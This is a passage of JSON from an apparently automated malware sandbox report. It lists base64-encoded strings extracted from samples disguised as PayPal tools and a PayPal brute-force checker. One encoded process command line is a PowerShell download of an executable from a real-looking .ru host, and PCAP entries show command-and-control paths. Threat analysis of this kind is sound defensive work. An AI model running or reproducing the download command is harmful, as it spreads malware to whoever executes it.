Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LSg0REwxZXQoZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"$49","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00844000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LTA8NjMpMj9K","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"LWVsIC1zMiAiLWQlcyIgIi1zcCVzIg==","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LUluZmluaXR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"LWtlcm5lbDMyLXBhY2thZ2UtY3VycmVudC1sMS0xLTA=","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LU1uYVRnPz1M","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"LU5vRXhpdCAtSW1wb3J0U3lzdGVtTW9kdWxlcw==","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LW9wZW4gJUFQUERBVEElXDEzMzdcUGF5UGFsIGJydXRlJmNoZWNrZXIuZXhl","type":"Ansi","source":"Memory/File Scan","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00409000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LVEjaWJPdnMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"LXdpbi1jb3JlLWZpYmVycy1sMS0xLTE=","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LXdpbi1ydGNvcmUtbnR1c2VyLXdpbmRvdy1sMS0xLTA=","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LVdpbmFwaS5JbWFnZUhscA==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LXl0O11COWs8Wg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"LjEuNzYwMC4xNjM4NSAod2luN19ydG0uMDkwNzEzLTEyNTUp","type":"Unicode","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D1B000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LjRANGMmTSow","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVl9jb21fZXJyb3JAQA==","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D1A000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmJhZF9hbGxvY0BzdGRAQA==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001BA000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmJhZF9hcnJheV9uZXdfbGVuZ3RoQHN0ZEBA","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001BA000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmJhZF9leGNlcHRpb25Ac3RkQEA=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001BA000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmV4Y2VwdGlvbkBzdGRAQA==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001BA000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVnR5cGVfaW5mb0BA","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001BA000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVzRSQVJfRVhJVEBA","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001BA000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Llwlc1wlcy5tdWk=","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LkNSVCRYQ0FB","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LkNSVCRYSUE=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LkNSVCRYSUFB","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LkNSVCRYSUFD","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LkNSVCRYSVo=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LkNSVCRYUEE=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LkNSVCRYUFhB","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LkNSVCRYUFo=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LkRDUy5MaXN0ZW5lcnMuQWR2aXNvckVycm9yKzxBbm5vdGF0aW9ucz5kX18xNjc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"LkRDUy5MaXN0ZW5lcnMuQWR2aXNvckVycm9yKzxHZXRBbmNlc3RvcnM+ZF9fNDE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"LkRFRkFVTFRcQ29udHJvbCBQYW5lbFxJbnRlcm5hdGlvbmFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"LmdmaWRzJHg=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LmdmaWRzJHk=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lkspfnt6O3E=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"Lk5BdWRpby5SdWxlcy5Qcm9jZXNzRXJyb3IrPEdldEVudW1lcmF0b3I+ZF9fNTc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"LnJkYXRhJHN4ZGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LnJkYXRhJHp6emRiZw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LlhfZ3tXbidE","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2FjcHJldmlldw==","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal.exe.597571784","compromised":null,"detection_total":null,"total":null},{"value":"L0MgcG93ZXJzaGVsbCAtQ29tbWFuZCAiKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8vc3FsbzRrYS5ydS9EQ1JTL2Rzb2NrLzkwY2M2ZTQ0N2QzNDViYjFmMTAzNzUxYWIwMzhiYmNlMTkxOTBkYjYuZXhlJywgJyVQVUJMSUMlXERvd25sb2FkLzkwY2M2ZTQ0N2QzNDViYjFmMTAzNzUxYWIwMzhiYmNlMTkxOTBkYjYuZXhlJyki","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L0MlUFJPR1JBTUZJTEVTJVwoeDg2KS9BZG9iZS9BY3JvYmF0IFJlYWRlciBEQy9Fc2wvcmVnZWRpdC5leGU=","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L0RDUlMvZHNvY2svLzhlMTRmNTc2MzA5NjJjMzIyZTc0MzhhNTYwNGQ2NDVmYWJkOTBlMWUuNTJmNjMyNWExZjRiNjY1ZWMzZGYwNjg5ZDZlYzM2MTA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"L0RDUlMvZHNvY2svLzhlMTRmNTc2MzA5NjJjMzIyZTc0MzhhNTYwNGQ2NDVmYWJkOTBlMWUuY29tbQ==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"L0RDUlMvZHNvY2svLzhlMTRmNTc2MzA5NjJjMzIyZTc0MzhhNTYwNGQ2NDVmYWJkOTBlMWUuZTNlOWQ0OGU3OTIwNWE2ODc3Mzg2NWI5NTkxNGQyYTM=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"L0RDUlMvZHNvY2svLzhlMTRmNTc2MzA5NjJjMzIyZTc0MzhhNTYwNGQ2NDVmYWJkOTBlMWUuZjcxZTY2ZDljMGE5ZmEzMzAxYjJmOGU0MDI0OTY3YmM=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$4a","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$4b","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$4c","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$4d","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$4e","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$4f","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$50","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$51","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"L0RDUlMvZHNvY2svOTBjYzZlNDQ3ZDM0NWJiMWYxMDM3NTFhYjAzOGJiY2UxOTE5MGRiNi5leGU=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"L0RDUlMvbWFpbi5waHA/ZGF0YT1hY3RpdmU=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"L0RDUy5GaWx0ZXIuRmFjdG9yeU1hcEZpbHRlcis8RXhlY3V0ZUZpbHRlcj5kX180","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"L2RvZ3MvZGFzSG9zdC5leGU=","type":"Unicode","source":"Memory/File Scan","process":"WatchBull.exe","filename":"00101338-00001632.00000000.101649.00872000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"L0V6VyhoPGxG","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"L05BdWRpby5SdWxlcy5QYWdlSXRlcmF0b3JSdWxlKzxnZXRfTWl4ZXJzPmRfXzE4","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"L25GPiQpTXk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"L1BTQ29uc29sZUZpbGU=","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"L1BTQ29uc29sZUZpbGUvUFNWZXJzaW9uL3RleHQoKQ==","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"L345dE5Kb1Vkcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"L8Ovwr/CvcOvwr/CvcOvwr/CvcOvwr/CvQ==","type":"Ansi","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"L8Ovwr/CvcOvwr/CvcOvwr/CvcOvwr/CvcOvwr/CvQ==","type":"Ansi","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"L8Ovwr/CvcOvwr/CvcOvwr/CvcOvwr/CvcOvwr/CvcOvwr/CvcOvwr/CvcOvwr/CvQ==","type":"Ansi","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MCVsZzAhPiR6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"MCZAJiYmezlA","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"MC4wLjEuMA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MDAwNjAxMDEuMDAwNjAxMDE=","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MDEyMzQ1Njc4OUFCQ0RFRg==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MDE4LSB1bmV4cGVjdGVkIGhlYXAgZXJyb3I=","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MDJkLSUwMmQtJTAyZC0lMDJkLSUwM2Q=","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MDgrZiBQKE1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"MDkyREUxMjJDMEU1MThBQjZDOTY1QTY3RjJBNjcwMEM1QzE1NDAxMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MDlGQUZBOENBNTAzNUQ0NEYxRUM1QzRFNkM2N0Q2OUY1MDJFRjM0OA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MEAzRDNIM0wzUDNUMw==","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D1B000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MF9fX19fX19fXyw=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"MEQlI15sKWNrNzM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"MERDUy5GaWx0ZXIuU3BlY2lmaWNhdGlvblN0dWIrPEV4ZWN1dGVGaWx0ZXI+ZF9fNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MERDUy5MaXN0ZW5lcnMuQWR2aXNvckVycm9yKzxBbm5vdGF0aW9ucz5kX18xNjZgMQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MEU4REE2RTI4QzkwNUVBRTBDNkU4RUM2ODAyOTYzOEY3N0I3RjBFNw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MEVERDE5RUJBNEMzQjIwMkFGQTk3RUE1NUMwNDQ2QzY3Q0Q4NEM4QQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MEYwMDJBNTlFQzYzQ0NBNTBBM0NDMkMwNjJDNDJBNDkzNUEwNUMzNQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"ME5BdWRpby5RdWV1ZXMuUGFyYW1ldGVyU3R1Yis8RXhlY3V0ZUZpbHRlcj5kX18xMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MFN5c3RlbS5SZWd1bGFyRXhwcmVzc2lvbnNBUEk=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MFRzNG09ciwsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"MH5beSo/cDI+","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"MTBGM0RBNjRDMjJDRjVGQTE1MkRBOEM0RUM5MkM5MkU1NzkyREQ4Mw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MTEtMjIyMjItMjAwMDEtMDAwMDF9","type":"Unicode","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MTEtMjIyMjItMzAwMDEtMDAwMDF9","type":"Unicode","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MTEtMjIyMjItNDAwMDEtMDAwMDF9","type":"Unicode","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MTEtMjIyMjItNTAwMDEtMDAwMDF9","type":"Unicode","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MTEwLjE1Ni4x","type":"Ansi","source":"Dropped File","process":null,"filename":"WebHelper.exe.2708157477","compromised":null,"detection_total":null,"total":null},{"value":"MTI3LjAuMC4x","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal.exe.597571784","compromised":null,"detection_total":null,"total":null},{"value":"MTNBNDkwMTY4QzgwQUZENzkzN0VERjRFRTVENkJGMDk0OThCMjY5OQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MTUuOS4wLjA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MTdENzlFMEQ0Q0NFNjdCNTQzRDMzMzY3RkNGOTgxMTJERjIyOTc4Qw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MTgxWDF4MVw3YDdkN2g3bDdwNw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MUQ2OTY4NDI0ODQ0M0RDQjQwQzdDNDRBOUUzNkY0QkIwMjVFNjE0Mw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MXJnIDYoSyBL","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"MXUrRFF4UGVb","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"MVZZOWltIlZp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"MXtEJFsgLFJx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"MiQyLDI0MjwyRDJMMlUy","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Mi0xMDAwOS0xMTExMn0=","type":"Unicode","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$52","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001DB000.00000002.mdmp","compromised":null,"detection_total":0,"total":67},{"value":"MkEwOng2NExH","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"MkExNEE0RjUyNTQ5RDIzRDBBRENDMEZFRDc3OEU5NUU3NTgxQ0NDRQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MkREODNBOEIwQTczNjZFMkVBQzc1MDA5MDc4QkZFODYzMkNEQzcwRA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MmxVOVlDRGo7","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"Mk5BdWRpby5TdHVicy5QYXJhbXNHbG9iYWxTdHViKzxHZXRJbnB1dFR5cGVzPmRfXzEx","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Mk5vIGxvbmdlciBzdXBwb3J0ZWQuIFVzZSBBdmVyYWdlRnJhbWVSYXRlIGluc3RlYWQu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Mm86PEMobjNf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"MnFveS5eI1ErWw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"MyAzJDMoMywzMDM0MzwzQDNEM0gzVDNYM1wzYDNkM2gzbDNwM3QzeDM=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MzMzMzMzMzMzMzMzMzMzMzMz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MzMzMzMzMzM/MzMzMzMz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MzMzMzMzMzozMzMzMzMzMzgz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MzMzNEpDMzMzMzMzMzg/MzMz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MzM5QThCQjYyNUEwMzdCQTM3REI0REYyNEEyNzZFNjg5RDYyMTcyRA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"M189K0xzZnAu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"M0RDUy5SZWNvcmRzLkNvbnRleHRQb2xpY3lSZWNvcmQrPEV4ZWN1dGVGaWx0ZXI+ZF9fNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"M0RFNDNDMTFDNzEzMEFGOTAxNDExNUJDREMyNTg0REZFNkI1MDU3OQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"M0U4N0FFQzFCQTk5RDJBNkYwNEJEMTYyMTMzNUQ2OTcxMzBEOTYwNg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"M0U5QkU5QzJDOUMyNjcwRjExMTc4RDQ5MzZDNEZFNUFFRjNFQ0Q5Qw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"M2Y+IV5kcHp5fg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"M01lbWJlckNvbnZlcnRlciBpcyBvYnNvbGV0ZS4gVXNlIENvbnZlcnRlciBpbnN0ZWFkLg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"M05BdWRpby5EZWZpbml0aW9ucy5SZXF1ZXN0V29ya2VyRGVmKzxWYWx1ZXM+ZF9fMTFgMg==","type":"Ansi","source":"Dropped 